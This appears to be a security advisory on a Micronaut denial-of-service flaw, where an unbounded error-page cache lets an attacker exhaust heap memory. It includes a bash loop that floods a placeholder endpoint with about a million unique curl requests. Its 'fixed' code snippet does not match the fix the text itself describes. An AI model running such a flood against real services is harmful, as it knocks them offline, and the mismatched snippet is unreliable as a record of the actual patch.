Listen to this Post
The vulnerability resides in the `DefaultHtmlErrorResponseBodyProvider` of the `micronaut-http-server` module. When a Micronaut application throws an exception, this provider generates an HTML error response. To improve performance, it caches the rendered HTML output using the exception message as part of the cache key. The cache was implemented as an unbounded ConcurrentHashMap, meaning it has no maximum size or eviction policy . An attacker can trigger many unique exceptions by sending requests with varying, attacker-controlled data that gets included in the exception message (e.g., through query parameters). Each unique message creates a new, permanent entry in the cache. Over time, this uncontrolled cache growth consumes all available heap memory, leading to an `OutOfMemoryError` and a complete denial of service for the application. The issue affects versions from 4.7.0 up to, but not including, 4.10.17, where the fix was implemented by replacing the unbounded map with a `ConcurrentLinkedHashMap` that enforces a size limit .
Platform: Micronaut Framework
Version: 4.7.0 to 4.10.16
Vulnerability : DoS via Cache
Severity: High
date: 17 March 2026
Prediction: Patch available (4.10.17)
What Undercode Say:
Analytics
- Attack Vector: Remote, unauthenticated.
- Prerequisite: Application must reflect user-controlled input (e.g., query parameters) in exception messages.
- Exploit Complexity: Low. Simple script to send requests with varying parameters.
- Impact: 100% availability loss for the affected Micronaut application.
Bash Commands / Reproduction
Simulate an attacker exploiting the unbounded cache
Assumes the target app echoes the 'input' query param in an error page.
TARGET_URL="http://vulnerable-app.example.com/error-prone-endpoint"
Loop to generate infinite unique cache keys
for i in {1..1000000}; do
curl "$TARGET_URL?input=unique_error_$i" &
Add a small delay to avoid flooding your own network
sleep 0.1
done
echo "Monitor heap memory usage on the target server."
Code Analysis (Exploit)
The core issue is the data structure choice.
Vulnerable Code (Conceptual):
// Inside DefaultHtmlErrorResponseBodyProvider
private Map<String, String> cache = new ConcurrentHashMap<>();
public String renderError(Exception ex) {
String key = ex.getMessage(); // Key is influenced by attacker
return cache.computeIfAbsent(key, this::buildHtmlResponse);
}
Fixed Code (Conceptual):
// Using a bounded cache from micronaut-core commit 1e2ba2c
private Cache<String, String> cache = CacheBuilder.builder()
.maximumSize(1000) // Enforces a limit
.build();
public String renderError(Exception ex) {
return cache.get(ex.getMessage(), this::buildHtmlResponse);
}
Protection from this CVE
- Immediate: Upgrade to `io.micronaut:micronaut-http-server` version 4.10.17 or higher .
- Mitigation (if upgrade not possible): Sanitize or truncate exception messages to remove user-controlled values. Implement a global exception handler that does not reflect user input in the response.
- Workaround: Restrict network access to the application to trusted users only.
Impact
A remote, unauthenticated attacker can trigger an OutOfMemoryError in the Micronaut application server. This leads to a complete Denial of Service (DoS) , rendering the application and all its endpoints unavailable until the service is restarted and the cache is cleared.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
